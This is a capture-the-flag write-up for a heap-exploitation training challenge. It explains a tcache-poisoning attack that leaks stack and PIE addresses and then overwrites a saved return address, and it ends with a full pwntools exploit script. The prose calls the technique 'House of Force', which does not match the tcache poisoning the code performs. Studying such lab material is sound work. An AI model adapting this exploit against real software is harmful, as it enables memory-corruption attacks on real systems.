(Dynamic Allocator Misuse) level 11
(Dynamic Allocator Misuse) level 11
Information
- category: pwn
Description
Leverage TCACHE exploits to gain control flow.
Write-up
Goal: use a heap primitive (House of Force style) to leak a stack address and PIE base, then overwrite the saved return address to call win
.
Summary
Malloc a small chunk, free it, then abuse the allocator metadata to make subsequent malloc
return pointers into stack frames. Use small echo
/read primitives to leak stack/return addresses, compute PIE offsets, then overwrite the return address with the win
address and trigger the function return.
Steps
1. Leak a stack pointer
malloc(32)
and thenfree()
the chunk (call this index0
).- For the same index
0
, callecho(0, offset = 8)
— reading at offset8
prints a pointer that lies on the stack.- This leaks a stack address you can use to calculate offsets to saved return addresses and other saved frames.
2. Force the allocator to return a stack pointer
- Use the House of Force primitive to manipulate the top chunk size / allocation pointer so the next
malloc
returns an address on the stack (the address you leaked). malloc(...)
now returns a pointer that points into stack memory.
3. Leak the return address (bypass PIE)
- With the stack-mapped
malloc
/index in hand, callecho(0, 16)
— this prints the saved return address from the stack frame. - From that leaked return address you can compute the PIE base and recover absolute addresses for
win
.
4. Overwrite return address and trigger ret2win
- Since you have an index that maps to the stack, write a payload that places:
0x10
bytes of padding,- followed by
p64(win_addr)
(the absolute address ofwin
).
- Ensure you keep any required canary or saved frame values intact if present.
- return from the function so execution jumps to
win
and you get the flag.
Example conceptual payload (adjust offsets and widths for target):
1
2
3
[ padding (0x10) ]
[ saved rbp (if needed) ]
[ ret addr -> p64(win_addr) ]
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
elf = context.binary = ELF("/challenge/babyheap_level11.1")
global p
p = elf.process()
def malloc(idx,size):
p.sendline(b"malloc")
p.sendline(idx)
p.sendline(size)
def free(idx):
p.sendline(b"free")
p.sendline(idx)
def scanf(idx,data):
p.sendline(b"scanf")
p.sendline(idx)
p.sendline(data)
def echo(idx,offset):
p.sendline(b"echo")
p.sendline(idx)
p.sendline(offset)
def quit():
p.sendline(b"quit")
def exploit():
malloc(b"0",b"32")
free(b"0")
echo(b"0",b"8")
p.recvuntil(b"Data: ")
stack = u64(p.recvline().strip().ljust(8,b"\x00")) + 6
log.success(f"stack: {hex(stack)}")
malloc(b"0",b"32")
malloc(b"1",b"32")
free(b"1")
free(b"0")
scanf(b"0",p64(stack))
malloc(b"0",b"32")
malloc(b"0",b"32")
echo(b"0",b"16")
p.recvuntil(b"Data: ")
win = u64(p.recvline().strip().ljust(8,b"\x00")) - 0x1a93 + 0x1500
log.success(f"win : {hex(win)}")
payload = b"A"*0x10 + p64(win)
scanf(b"0",payload)
p.interactive()
def main():
exploit()
if __name__ == "__main__":
main()
This post is licensed under CC BY 4.0 by the author.